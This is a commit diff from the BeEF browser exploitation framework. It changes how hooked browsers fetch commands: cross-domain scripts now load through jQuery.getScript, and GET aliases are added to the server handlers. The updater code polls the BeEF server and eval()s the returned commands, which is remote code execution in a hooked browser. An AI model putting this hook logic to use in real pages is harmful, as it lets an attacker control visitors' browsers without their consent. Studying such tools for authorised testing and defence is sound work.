This update addresses issue 197. jQuery.getScript() is now used to load the cross domain instructions from the framework. Scripts are now loaded and executed instead of using XMLHttpRequests.

git-svn-id: https://beef.googlecode.com/svn/trunk@680 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2011-01-07 20:27:10 +00:00
parent 8b9917c7f7
commit bd37d5fbd7
6 changed files with 19 additions and 38 deletions

View File

@@ -51,6 +51,8 @@ module BeEF
response.body = @body
end
alias do_GET do_POST
private
@request

View File

@@ -52,6 +52,8 @@ module BeEF
response.body = ''
end
alias do_GET do_POST
end
end

View File

@@ -99,7 +99,8 @@ module BeEF
end
alias do_OPTIONS do_POST
alias do_OPTIONS do_POST
alias do_GET do_POST
# returns a selected parameter from the query string.
def get_param(query, key)

View File

@@ -60,6 +60,8 @@ module BeEF
response.body = ''
end
alias do_GET do_POST
end
end

View File

@@ -8,24 +8,7 @@ beef.net = {
beef_url: "<%= @beef_url %>",
beef_hook: "<%= @beef_hook %>",
beef_queue: [],
/**
* Gets an object that can be used for ajax requests.
*
* @example: var http = beef.net.get_ajax();
*/
get_ajax: function() {
// try objects
try {return new XMLHttpRequest()} catch(e) {};
try {return new ActiveXObject('Msxml2.XMLHTTP')} catch(e) {};
try {return new ActiveXObject('Microsoft.XMLHTTP')} catch(e) {};
// unsupported browser
console.log('You browser is not supported')
console.log('please provide details to dev team')
return false;
},
/**
* Build param string from hash.
@@ -60,34 +43,20 @@ beef.net = {
/**
* Performs http requests.
* @param: {String} the url to send the request to.
* @param: {String} the method to use: GET or POST.
* @param: {String} the method to use: GET or POST - **NOTE** This param now ignored
* @param: {Function} the handler to callback once the http request has been performed.
* @param: {String} the parameters to send for a POST request.
*
* @example: beef.net.raw_request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
*/
raw_request: function(url, method, handler, params) {
var http;
var method = method || 'POST';
var params = params || null;
var http = this.get_ajax() || null;
http.open(method, url, true);
if(handler) {
http.onreadystatechange = function() {
if (http.readyState == 4) handler(http.responseText);
}
}
http.send(params);
raw_request: function(url, method, handler, params) {
$j.getScript( url + '?' + params);
},
/**
* Performs http requests with browoser id.
* @param: {String} the url to send the request to.
* @param: {String} the method to use: GET or POST.
* @param: {String} the method to use: GET or POST - **NOTE** This param now ignored
* @param: {Function} the handler to callback once the http request has been performed.
* @param: {String} the parameters to send for a POST request.
*

View File

@@ -50,7 +50,12 @@ beef.updater = {
beef.net.request(
beef.net.beef_url + beef.net.beef_hook,
'POST',
function(response) { if(response.length > 0) {eval(response); beef.updater.execute_commands();} },
function(response, textStatus) {
if(response != null && response.length > 0) {
eval(response);
beef.updater.execute_commands();
}
},
beef.updater.build_updater_params()
);
} catch(e) {